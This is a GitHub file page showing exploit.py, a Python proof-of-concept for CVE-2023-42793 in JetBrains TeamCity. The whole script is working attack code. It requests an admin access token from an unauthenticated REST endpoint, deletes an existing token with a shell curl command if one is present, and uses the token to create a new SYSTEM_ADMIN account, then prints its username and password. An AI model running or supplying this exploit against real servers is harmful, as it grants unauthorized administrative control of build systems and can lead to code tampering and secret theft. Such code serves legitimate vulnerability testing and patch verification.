-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.py
119 lines (102 loc) · 4.56 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import argparse
import requests
import re
import random
import string
import subprocess
banner = """
=====================================================
* *
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
=====================================================
"""
print(banner)
def print_help():
print("Usage:")
print("-u URL, --url URL: Target URL (required)")
print("-v, --verbose: Enable verbose mode")
print("-n USERNAME, --username USERNAME: Specify username")
print("-p PASSWORD, --password PASSWORD: Specify password")
print("-e EMAIL, --email EMAIL: Specify email")
print("-t token_file, --token-file token: File to save the token")
def generate_random_string(length=4):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def main():
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose mode")
parser.add_argument("-n", "--username", help="Specify username")
parser.add_argument("-p", "--password", help="Specify password")
parser.add_argument("-e", "--email", help="Specify email")
parser.add_argument("-t", "--token-file", help="File to save the token")
args = parser.parse_args()
url = args.url
if not (args.username and args.password and args.email):
random_chars = generate_random_string()
username = args.username if args.username else f"admin.{random_chars}"
password = args.password if args.password else "Password@123"
email = args.email if args.email else f"{username}@lol.omg"
else:
username = args.username
password = args.password
email = args.email
if url.startswith("https://"):
curl_command = "curl -k"
else:
curl_command = "curl"
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"
response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
match = re.search(r'value="([^"]+)"', response.text)
if match:
token = match.group(1)
print(f"Token: {token}")
token_file = args.token_file if args.token_file else "./token"
with open(token_file, "w") as f:
f.write(token)
print(f"Token saved to {token_file}")
else:
print("Token not found in the response")
elif response.status_code in (404, 400):
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
delete_output = delete_process.communicate()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nRun this command again for creating a new token & admin user.")
else:
print("Failed to delete the previous token")
else:
print("Failed to get a token")
if 'token' in locals():
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
data = {
"username": username,
"password": password,
"email": email,
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}
create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "{password}", "email": "{email}", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
create_user_response = requests.post(create_user_url, headers=headers, json=data)
if create_user_response.status_code == 200:
print("Successfully exploited!")
print(f"URL: {url}")
print(f"Username: {username}")
print(f"Password: {password}")
else:
print("Failed to create a new admin user")
if args.verbose:
if response.status_code == 400:
pass
else:
print(f"Final curl command: {create_user_command}")
if __name__ == "__main__":
main()